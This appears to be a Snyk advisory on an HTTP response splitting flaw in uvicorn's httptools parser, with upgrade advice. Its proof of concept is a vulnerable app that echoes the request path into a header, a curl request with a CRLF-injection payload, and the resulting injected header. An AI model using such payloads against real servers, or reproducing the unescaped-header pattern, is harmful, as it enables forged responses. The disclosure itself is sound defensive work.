Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade uvicorn
to version 0.11.7 or higher.
uvicorn is a lightning-fast ASGI server.
Affected versions of this package are vulnerable to HTTP Response Splitting. Uvicorn's implementation of the HTTP protocol for the httptools parser is vulnerable to HTTP response splitting. CRLF sequences are not escaped in the value of HTTP headers. Attackers can exploit this to add arbitrary headers to HTTP responses, or even return an arbitrary response body, whenever crafted input is used to construct HTTP headers.
async def app(scope, receive, send): assert scope['type'] == 'http' await send({ 'type': 'http.response.start', 'status': 200, 'headers': [ [b'Content-Type', b'text/plain'], [b'Referer', scope['path'].encode()], ] }) await send({ 'type': 'http.response.body', 'body': b'Hello, world!', })
uvicorn poc-3:app --port 9999 --http httptools
To exploit this vulnerability, make a GET request with a crafted URL path like so:
curl -v 'http://localhost:9999/foo%0d%0abar:%20baz'
Uvicorn will return an additional HTTP header "bar" with the value "baz":
- Trying 127.0.0.1...
- Connected to localhost (127.0.0.1) port 9999 (#0) > GET /foo%0d%0abar:%20baz HTTP/1.1 > Host: localhost:9999 > User-Agent: curl/7.58.0 > Accept: / >
< HTTP/1.1 200 OK < date: Sun, 26 Apr 2020 22:38:18 GMT < server: uvicorn < content-type: text/plain < referer: /foo < bar: baz < transfer-encoding: chunked <